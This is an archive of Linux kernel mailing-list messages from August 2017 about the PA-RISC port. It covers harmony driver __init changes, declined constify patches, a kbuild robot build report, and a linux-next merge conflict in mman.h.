 QrbAcmgb2K4K4G15jT8Cz9SzCmWkBWUePBQg7IhkLwASiFV0CSxWdO+jf773t87gIh5zpOf8 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27738
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27738>

Signed-off-by: Helge Deller <deller@gmx.de>
---
 sound/parisc/harmony.c | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/sound/parisc/harmony.c b/sound/parisc/harmony.c
index 5911eb3..fc68c1c 100644
--- a/sound/parisc/harmony.c
+++ b/sound/parisc/harmony.c
@@ -66,7 +66,7 @@ module_param(id, charp, 0444);
 MODULE_PARM_DESC(id, "ID string for Harmony driver.");
 
 
-static struct parisc_device_id snd_harmony_devtable[] = {
+static struct parisc_device_id snd_harmony_devtable[] __initconst = {
 	/* bushmaster / flounder */
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007A }, 
 	/* 712 / 715 */
@@ -960,7 +960,7 @@ snd_harmony_create(struct snd_card *card,
 	return err;
 }
 
-static int
+static int __init
 snd_harmony_probe(struct parisc_device *padev)
 {
 	int err;
@@ -1000,18 +1000,18 @@ snd_harmony_probe(struct parisc_device *padev)
 	return err;
 }
 
-static int
+static int __exit
 snd_harmony_remove(struct parisc_device *padev)
 {
 	snd_card_free(parisc_get_drvdata(padev));
 	return 0;
 }
 
-static struct parisc_driver snd_harmony_driver = {
+static struct parisc_driver snd_harmony_driver __refdata = {
 	.name = "harmony",
 	.id_table = snd_harmony_devtable,
 	.probe = snd_harmony_probe,
-	.remove = snd_harmony_remove,
+	.remove = __exit_p(snd_harmony_remove),
 };
 
 static int __init 
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 0/8] constify parisc parisc_device_id
Date: Mon, 21 Aug 2017 22:42:42 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <30fb04dd-118e-d866-0166-2f9a8e67ff1a@gmx.de>
References: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503348173 18487 195.159.176.226 (21 Aug 2017 20:42:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:42:53 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Arvind Yadav <arvind.yadav.cs@gmail.com>, jejb@parisc-linux.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 21 22:42:49 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1djtX1-0003rX-31
	for glk-linux-kernel-3@m.gmane.org; Mon, 21 Aug 2017 22:42:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754161AbdHUUms (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 21 Aug 2017 16:42:48 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:64085 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753610AbdHUUmp (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 21 Aug 2017 16:42:45 -0400
Original-Received: from [192.168.20.60] ([193.159.21.213]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MJSLz-1dgsau1Cn5-0037US; Mon, 21
 Aug 2017 22:42:43 +0200
In-Reply-To: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K0:VIRq66Dxj483RwWdcFw6+2EPbFpbCqyIf/QPAAuzX9o5kzSPJDi
 Cf5iTJQYoLR69J/JKunHq2ak3H2OkgoQSSAy9njkPexjSz9xOI4Z2lMmVy6Wc043JYDxa+B
 7GfZWy+d/iQDc34hynbPGEGAm1MC7G6D7++3lIkTRS8WqqYPiboMvoFOx8Vrh9MX7wnBWCb
 HCNeyROxSmUCWwiE2B1rg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ExTD14yoSw0=:GyDIg2ZCl2sUJHN/ypmBuk
 xAFnkiBZjPVRxxlZkFK4SzVgZk2oZIvjrb7rPvHMZ2lLToZVwmiaCXoHBcLPYJTvwsajrofkK
 GXW8aCApRH2WmrZOA5fKmGVFNLd/nhLxIRXSUFFcwvonyYwvAR3fF53HJy8UpqkZnH8LfYuSJ
 nZN53U8Z4ivNItpdnhOQ9y95P/D9QN0Cup86HwSLMtt8mlTpnb13zHEPbj3XXXbCbu3AZPgpH
 3tK/Pu3f4eN6/YflLwhqZ60zqJMtl/dygrpH5ac2SFbZRYJeOb++VRPLseZ7/9WeXz24ozp33
 d9/xEgJmNz1VE2uBZaVrmNHrBddEHQkDYvHH1gjDJh/I2nqP2HrXV/8p1QZGBIvZqxXdfGe4e
 We63RlWvcIDKE5k+XSJnPhYihQOkp3f7NFLeOe1dgIwqcGQo+PLt46ZRUmwq9A8/taWEvLueV
 V7eXYJvSEHpMj39x0GoCG2pBD4xyplc3IF2RNKmd8bk3cTkFxOZrMzmV2pLpj082EuJjrYS0K
 N3WRWnnuKABmhqmoL2OEGl6mQH9enLSyJotfmObVv9Fqd713gCl7+HLyK0po5iHu8P80iY8Vv
 dBzKU0qiMWtqiRMT7YtrzGuj2CGwUE+dDbSdrUWky3g7bDxqkpL6j8xKeeJOVTXDw703g6CyO
 Dhh4I+EYBePbAWtEdMnFaisitPkQAtF2UUabDEBVXxNjV1XHj4fKRdhM9IBUWE4QAcM4L69HW
 ruhvzBvi2WQYECSS3pMi5BFnAXpVOsS5JRagM0Z0sWvG9RNwRv3uAt31Dlhr0sG+VkPw5Hpe 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2554167 gmane.linux.ports.parisc:27739
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2554167>

Hi Arvind,

On 19.08.2017 19:42, Arvind Yadav wrote:
> parisc_device_id are not supposed to change at runtime. All functions
> working with parisc_device_id provided by <asm/parisc-device.h> work with
> const parisc_device_id. So mark the non-const structs as const.

Basically your patches are correct, but those structs aren't used
after bootup any longer.
So, they are much better placed in the __initconst or __initdata
sections so that they get dropped before the kernel enters userspace.
Changing it to __initconst includes more changes to those files
than just changing one line.

So, I won't apply your patches.
Instead I've hacked up new versions in my tree which move those to 
__init* sections.

Anyway, thanks for your patches!

Helge 
 
> Arvind Yadav (8):
>   [PATCH 1/8] parisc: asp: constify parisc_device_id
>   [PATCH 2/8] parisc: ccio: constify parisc_device_id
>   [PATCH 3/8] parisc: dino: constify parisc_device_id
>   [PATCH 4/8] parisc: hppb: constify parisc_device_id
>   [PATCH 5/8] parisc: lasi: constify parisc_device_id
>   [PATCH 6/8] parisc: lba_pci: constify parisc_device_id
>   [PATCH 7/8] parisc: sba_iommu: constify parisc_device_id
>   [PATCH 8/8] parisc: wax: constify parisc_device_id
> 
>  drivers/parisc/asp.c         | 2 +-
>  drivers/parisc/ccio-rm-dma.c | 2 +-
>  drivers/parisc/dino.c        | 2 +-
>  drivers/parisc/hppb.c        | 2 +-
>  drivers/parisc/lasi.c        | 2 +-
>  drivers/parisc/lba_pci.c     | 2 +-
>  drivers/parisc/sba_iommu.c   | 2 +-
>  drivers/parisc/wax.c         | 2 +-
>  8 files changed, 8 insertions(+), 8 deletions(-)
> 



From - Thu Nov 08 21:40:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH 0/4] constify scsi/tty parisc_device_id
Date: Mon, 21 Aug 2017 22:43:39 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <12d14a03-5734-9b97-fff0-f8fe7158ce63@gmx.de>
References: <1503165261-31741-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503348275 6632 195.159.176.226 (21 Aug 2017 20:44:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:44:35 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-scsi@vger.kernel.org
To: Arvind Yadav <arvind.yadav.cs@gmail.com>, jejb@linux.vnet.ibm.com,
        martin.petersen@oracle.com, gregkh@linuxfoundation.org,
        jslaby@suse.com
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:44:30 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtYh-0004qN-Sc
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:44:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753492AbdHUUoe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:44:34 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:61723 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751571AbdHUUod (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:44:33 -0400
Original-Received: from [192.168.20.60] ([193.159.21.213]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MJjvw-1dkzTU2adI-0016uJ; Mon, 21
 Aug 2017 22:43:40 +0200
In-Reply-To: <1503165261-31741-1-git-send-email-arvind.yadav.cs@gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K0:/GD87DECnCEzjWmXDFJvZOWg+2nlA8QyfX6cGQVrO1zQdlrYdQm
 gTNuh1uY2GLT+cuURpQQpCita46X9NZx+TiY7XnAChVWpuX/mj2PKgIWI6Utbzf7qyz8vkj
 YWMPQczrRpVcn6awwFsGA2NSxiYad1vv5RmIvRrRaw0J5Wtr9G2NgX3dAZ9f4yqmGSA597N
 v0kwFCF0Dwg/TP2LFQjzw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:xCuopH6H5ks=:eLZy47Ykl05COKVahjze6d
 4i/5tbqoCfo7vcrVfk/vLgb4Cx3BfT7TmX9+ShZDd+41UjLvkvC9mvjxuGP8at8jgLx0Ep2Xb
 QSAcSLCYBBApsSvzh/1QkGBvQ6vz7js+O/XtIi6GMa49C25JHYiQHEuMHe/5I7/G4yY77K68J
 hjRG07J1lljW8tlMKyBsf/Tb4woZ3tNrKRIoffM9dbbrOH/uFajSDLdN0bCCNSzRN/ve6skvi
 G0JZWi5mMeg9zbRc/w2b0azIytac4ppJ+T/NNPtzzySVEd3re8JMimO6nhQHww+ZWe/lln5u6
 L47SigngmEgeMN47fZeeakHogAJ6IvL3AHKtbiGxjzTabDezLRdgkQiCWJFEmFvVVh9ZiOOru
 7GM7MT1hYYdKqA8D8XirnCNKS0S8jPmcNGbLQUKDHk2UgmcSUjvSoJaevreL2PLiYA4FIr5CW
 l2vppj2i2PRMpNvRn89SNNxyNRiOePr4TRvADwXY9YLIqD40SS8nR/Ui1h+BUbTF6CswO29UH
 5NVE0YtRnN+rrHKK0UyNYuF5iBFWEPbVUFZx1Gp3KoCF0TClBqPaLx7mEOuO3i6TjizXUqHZH
 8+YkB3V8Ty9xRlbPvlNsHpoWEKJyKFqx75+/DMopMizxaDbxsh2+WU+kfiX0WsB6ncEeQWPsG
 7c5cC4o7msbjWuL+KtJT02oU4XSfuUISwxqeNtgzuQ4tFD5CMbMkWur6BL0L+dJMP9muGfbme
 hnj6gBEwHAsxFIk+zoSB6U1HSz1eIbawVl3kG3mj+4TbXgXO90FalCMf8skTDXpOHqGbvQRH 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27740 gmane.linux.kernel:2554168 gmane.linux.scsi:129302
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27740>

On 19.08.2017 19:54, Arvind Yadav wrote:
> parisc_device_id are not supposed to change at runtime. All functions
> working with parisc_device_id provided by <asm/parisc-device.h> work with
> const parisc_device_id. So mark the non-const structs as const.
> 
> Arvind Yadav (4):
>   [PATCH 1/4] scsi: lasi700: constify parisc_device_id
>   [PATCH 2/4] scsi: zalon: constify parisc_device_id
>   [PATCH 3/4] tty: 8250: constify parisc_device_id
>   [PATCH 4/4] tty: mux: constify parisc_device_id

NAK.
Please don't apply.
I have other patches in my tree which will move those consts
into __init sections instead.

Thanks,
Helge

 
>  drivers/scsi/lasi700.c             | 2 +-
>  drivers/scsi/zalon.c               | 2 +-
>  drivers/tty/serial/8250/8250_gsc.c | 4 ++--
>  drivers/tty/serial/mux.c           | 4 ++--
>  4 files changed, 6 insertions(+), 6 deletions(-)
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Fengguang Wu <fengguang.wu@intel.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [kbuild-all] [hp-parisc:boot_devel 2/2]
 arch/powerpc/boot/inflate.c:358:18: error: 'uint32_t' undeclared
Date: Tue, 22 Aug 2017 10:06:17 +0800
Lines: 46
Approved: news@gmane.org
Message-ID: <20170822020617.ozyt77svqpqtltfn@wfg-t540p.sh.intel.com>
References: <201708200711.P5rCbvmM%fengguang.wu@intel.com>
 <1693319.G71mkjZMyY@daneel.sf-tec.de>
 <722aa3c0-1448-df1f-d95c-a1bf6844b8c3@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
X-Trace: blaine.gmane.org 1503367589 12461 195.159.176.226 (22 Aug 2017 02:06:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 Aug 2017 02:06:29 +0000 (UTC)
User-Agent: NeoMutt/20161104 (1.7.1)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>, kbuild-all@01.org,
        linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 22 04:06:24 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djya6-0003tr-BT
	for glpp-linux-parisc@m.gmane.org; Tue, 22 Aug 2017 04:06:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754310AbdHVCGV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 22:06:21 -0400
Original-Received: from mga06.intel.com ([134.134.136.31]:41093 "EHLO mga06.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754168AbdHVCGU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 22:06:20 -0400
Original-Received: from orsmga003.jf.intel.com ([10.7.209.27])
  by orsmga104.jf.intel.com with ESMTP; 21 Aug 2017 19:06:20 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.41,410,1498546800"; 
   d="scan'208";a="1006223543"
Original-Received: from mzhu5-mobl1.ccr.corp.intel.com (HELO wfg-t540p.sh.intel.com) ([10.255.29.63])
  by orsmga003.jf.intel.com with ESMTP; 21 Aug 2017 19:06:18 -0700
Original-Received: from wfg by wfg-t540p.sh.intel.com with local (Exim 4.89)
        (envelope-from <fengguang.wu@intel.com>)
        id 1djyaA-0002sm-0N; Tue, 22 Aug 2017 10:06:18 +0800
Content-Disposition: inline
In-Reply-To: <722aa3c0-1448-df1f-d95c-a1bf6844b8c3@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27741
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27741>

Hi Helge,

On Sun, Aug 20, 2017 at 10:32:33AM +0200, Helge Deller wrote:
>On 20.08.2017 08:20, Rolf Eike Beer wrote:
>> Am Sonntag, 20. August 2017, 07:51:13 schrieb kbuild test robot:
>>> tree:
>>> https://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git
>>> boot_devel head:   2de6ba7d548dff737bdc47173c8a7b6b20d94966
>>> commit: 2de6ba7d548dff737bdc47173c8a7b6b20d94966 [2/2] Initial support for
>>> compressed boot config: powerpc-akebono_defconfig (attached as .config)
>>> compiler: powerpc-linux-gnu-gcc (Debian 6.1.1-9) 6.1.1 20160705
>>> reproduce:
>>>         wget
>>> https://raw.githubusercontent.com/01org/lkp-tests/master/sbin/make.cross -O
>>> ~/bin/make.cross chmod +x ~/bin/make.cross
>>>         git checkout 2de6ba7d548dff737bdc47173c8a7b6b20d94966
>>>         # save the attached .config to linux build tree
>>>         make.cross ARCH=powerpc
>>
>> You will not get help for powerpc problems on the parisc list.
>
>Eike, you are talking to a roboter :-)
>
>The kbuild test robot checks regularily various git trees, if the
>commits there will generate issues with other trees/architectures.
>It picked up my parisc boot-devel tree and reported build errors
>on the powerpc architecture.
>
>Please ignore this specific issue here:
>arch/powerpc/boot/inflate.c:358:18: error: 'uint32_t' undeclared
>I don't need this change and fixed it in my tree.
>
>Fengguang, can you maybe drop the parisc mailing list from
>the receiver list of issues with my trees? It just generate noise
>for the people on the mailing list.

Yes, sure. I'll remove the "mail_cc: linux-parisc@vger.kernel.org"
config option for your tree.

Thanks,
Fengguang
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: linux-next: manual merge of the akpm-current tree with the
 parisc-hd tree
Date: Tue, 22 Aug 2017 16:53:18 +1000
Lines: 44
Approved: news@gmane.org
Message-ID: <20170822165318.77e3e0ca@canb.auug.org.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503384804 25854 195.159.176.226 (22 Aug 2017 06:53:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 Aug 2017 06:53:24 +0000 (UTC)
Cc: Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Rik van Riel <riel@redhat.com>
To: Andrew Morton <akpm@linux-foundation.org>,
        Helge Deller <deller@gmx.de>,
        Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-next-owner@vger.kernel.org Tue Aug 22 08:53:19 2017
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1dk33r-0000yI-5p
	for glkn-linux-next@m.gmane.org; Tue, 22 Aug 2017 08:53:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754584AbdHVGxV (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
        Tue, 22 Aug 2017 02:53:21 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:39673 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754517AbdHVGxU (ORCPT <rfc822;linux-next@vger.kernel.org>);
        Tue, 22 Aug 2017 02:53:20 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3xc1V63r5cz9t2d;
        Tue, 22 Aug 2017 16:53:18 +1000 (AEST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=canb.auug.org.au;
        s=201702; t=1503384798;
        bh=afDMFfowhzp4XzL4jCFKJfAJdAtabxeJ8Gykd84W8M0=;
        h=Date:From:To:Cc:Subject:From;
        b=aEKVH1BSj/1RldRCwIIfNwDNSOaxRQKN/DAsnsr8jQCqESvsOOJ4/FAyXQagbZaIo
         ygQCNoS8/sD2XFHb5hs+3KTz7wKVHR+VTATP9s6AJx16fHEr7DpZJcgQj7uMhH/QMU
         L9RhPrUcX+zNWkQ56WpQY1IMJYUpAx2sS8nqDmzz4LySXdlAaN414BEPgCgaremUR2
         mIuqKvKbv82R6TzTK/HM4OJAo0G52DesJZ0SM6tZjuplTy0Y6tDY65NXSWWuy6yv/L
         KbVUmeZrgbdPg8W54Mh3bz//BKFmyBe6/oRoCPrCwulY+IuN0IS+W52CoyVTvxi59O
         Ze5U4GuOF+jhQ==
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:43400 gmane.linux.ports.parisc:27742 gmane.linux.kernel:2554391
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/43400>

Hi Andrew,

Today's linux-next merge of the akpm-current tree got a conflict in:

  arch/parisc/include/uapi/asm/mman.h

between commit:

  1c190151447d ("parisc: Add MADV_HWPOISON and MADV_SOFT_OFFLINE")

from the parisc-hd tree and commit:

  115d20ededaf ("mm,fork: introduce MADV_WIPEONFORK")

from the akpm-current tree.

I fixed it up (see below) and can carry the fix as necessary. This
is now fixed as far as linux-next is concerned, but any non trivial
conflicts should be mentioned to your upstream maintainer when your tree
is submitted for merging.  You may also want to consider cooperating
with the maintainer of the conflicting tree to minimise any particularly
complex conflicts.

-- 
Cheers,
Stephen Rothwell

diff --cc arch/parisc/include/uapi/asm/mman.h
index 9a9c2fe4be50,f6eec376e5fa..000000000000
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@@ -57,9 -60,9 +57,12 @@@
  					   overrides the coredump filter bits */
  #define MADV_DODUMP	70		/* Clear the MADV_NODUMP flag */
  
+ #define MADV_WIPEONFORK 71		/* Zero memory on fork, child only */
+ #define MADV_KEEPONFORK 72		/* Undo MADV_WIPEONFORK */
+ 
 +#define MADV_HWPOISON     100		/* poison a page for testing */
 +#define MADV_SOFT_OFFLINE 101		/* soft offline page for testing */
 +
  /* compatibility flags */
  #define MAP_FILE	0
  #define MAP_VARIABLE	0

From - Thu Nov 08 21:40:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.file-systems,gmane.linux.ports.parisc
Subject: [PATCH] fs/select: Fix kernel panic due to memory corruption in
 compat_get_fd_set()
Date: Tue, 22 Aug 2017 21:01:37 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <20170822190137.GA14164@p100.box>
References: <E754A6C6-AA72-43F1-A799-E48A2146BF17@bell.net>
 <887D24D5-832C-409A-83AF-646E4937E87E@bell.net>
 <20170820183903.GA23618@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503428514 29249 195.159.176.226 (22 Aug 2017 19:01:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 Aug 2017 19:01:54 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Al Viro <viro@zeniv.linux.org.uk>, linux-fsdevel@vger.kernel.org,
        John David Anglin <dave.anglin@bell.net>,
        linux-kernel@vger.kernel.org,
        linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 22 21:01:49 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dkEQn-0006ed-W4
	for glk-linux-kernel-3@m.gmane.org; Tue, 22 Aug 2017 21:01:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752557AbdHVTBr (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 22 Aug 2017 15:01:47 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:57009 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752516AbdHVTBo (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 Aug 2017 15:01:44 -0400
Original-Received: from p100.box ([193.159.18.72]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M9OMc-1dqESA1woo-00ClKg; Tue, 22
 Aug 2017 21:01:40 +0200
Content-Disposition: inline
In-Reply-To: <20170820183903.GA23618@ls3530.fritz.box>
X-Provags-ID: V03:K0:SFB8LM5p3jkNdKsY5uY8R7vWTP5MGaGvg8qaqn4D5TwAqYMwlgK
 iYmEiMtiZv5Hm+lUKMCY8eJ1RrYc9r4GNKcYWRVyamD3CNlRJTXs42DrRGxfB27redBhHqQ
 fWOg5pfSNn3wKUZrRLNT06CLFojGXZ77M0Ayq+E2hTln5xGrjt9IIfBxM1VeUWsNlUVYFcU
 JxT5JMHoQjRFtnSi6Pl6A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:kfeFArqxrNs=:Nm757f/5X1xJ5E8N1RBY53
 JlOo0ihae8ffcLWZZnrTUYmd5iPyUKesdNQ6V14r0NLqi7/rEKWmIQ7Xc0lAHUq67F244QS9r
 ds6MBtzl4cL/xYNKsu+J3k71PWvRWVHZBCSfKTKtQ7hOGRTrsXzikY5rYoG73PzTnYlt35cd0
 bxugPKv1GFtQsUKsL0l63Z6hEu+6oTanPKaN/qjVt6JuruBoI6E83pKZMmgOQi03Ef3X7zyGR
 mYw+2RUOYahaI/bn50Ju9Ms2MAC865DXaJDZ3iw2k7bJ1uluy+vB3mmOk+L5CtLgmzlXOPqhP
 Reu5nw+w0pX9RzNvifJl5LYZEJ8xNoEbbsQ945TK2vdXQ2P5frcUY5UtCjAEzxRsuiqCQNIFG
 ywWQts6PUwDiLY271ZQSmzcN2ObLixWOXD3hnes2PsWRYjlixO+mHzsOiJTRP6UgchoNUkcmS
 4okWJNVlSxqFK/HpjPrWM6pYLNN1TOL9eJAZX1fdlREXgtc8htZch0162w0m9RMDfiN+JnuQ8
 Stn7jv3jo+s3Pp6e4yhOd1tq4LyX42UUG6teKVpDU7xteE8Y5UYe/WyUNvzzYaF4Jw4aL1nfi
 shQ3xX2r7V0l9AGtDhySruxlPoSGye2g3/yVlliUStuq8VVeSteWhbBVExcIbOJzoia+EPPLh
 AIXN3ij1DLObw6AsIvBHdxkoYZdGjM/xiv8GgfSUm2pxC00XmoYaAdtH0OTthdo8qIGkq37h1
